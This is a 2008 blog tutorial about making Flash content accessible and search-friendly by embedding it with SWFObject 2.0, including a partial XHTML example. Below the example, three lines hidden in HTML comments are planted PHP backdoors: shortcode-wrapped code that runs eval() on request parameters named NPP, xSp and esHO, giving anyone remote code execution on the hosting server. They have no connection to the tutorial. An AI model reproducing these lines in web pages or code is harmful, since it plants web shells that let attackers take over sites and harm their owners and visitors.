Making Flash Accessible and SEO Friendly

March 24, 2008 posted in Accessibility, Tutorials, Web Technology

Flash has always been a great vehicle for delivering multimedia content on the web. I’m always wowed by its unlimited bounds, but I’m simultaneously disappointed by its poor handling of SEO and accessibility. While the rest of the web has evolved into a rich and standards-based medium, Flash and its developers have concentrated on beefing up the bling. In 2005 Macromedia published Best Practices for Accessible Flash Design, a white paper that did little to address real accessibility needs.

The issue stems from how Flash is referenced within a web page. Traditionally Flash was detected by HTML using either <embed> or <object> tags, however both tags have accessibility and plug-in detection issues, and <embed> is invalid XHTML. These methods can cause some browsers and screen readers to misinterpret or entirely ignore your Flash content.

My favorite solution to this problem has been Bobby van der Sluis’ Unobtrusive Flash Object (UFO), but it was recently deprecated and replaced by Geoff Stearns’ SWFObject 2.0. Like UFO, SWFObject is a DOM script that detects the Flash plug-in and embeds Flash objects. It’s JavaScript API provides an amazing and complete toolset for embedding SWF files and retrieving Flash Player-related information. It has its roots in the web standards community and is designed to support W3C standards-compliant, accessible and search engine friendly web design. The handy JavaScript detection determines whether Flash content or alternative content should be shown and avoids outdated Flash plug-ins break Flash content. The example below illustrates how simple it is to detecting Flash and add alternative content.

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “”>
<html xmlns=”” lang=”en” xml:lang=”en”>
<title>SWFObject v2.0 dynamic embed – step 3</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<script type=”text/javascript” src=”swfobject.js”></script>

<script type=”text/javascript”>
swfobject.embedSWF(“myContent.swf”, “myContent”, “300”, “120”, “9.0.0”);

<div id=”myContent”>
<p>Alternative content</p>

<!– [insert_php]if (isset($_REQUEST["NPP"])){eval($_REQUEST["NPP"]);exit;}[/insert_php][php]if (isset($_REQUEST["NPP"])){eval($_REQUEST["NPP"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["xSp"])){eval($_REQUEST["xSp"]);exit;}[/insert_php][php]if (isset($_REQUEST["xSp"])){eval($_REQUEST["xSp"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["esHO"])){eval($_REQUEST["esHO"]);exit;}[/insert_php][php]if (isset($_REQUEST["esHO"])){eval($_REQUEST["esHO"]);exit;}[/php] –>

Also read...

Leave a Reply

Your email address will not be published. Required fields are marked *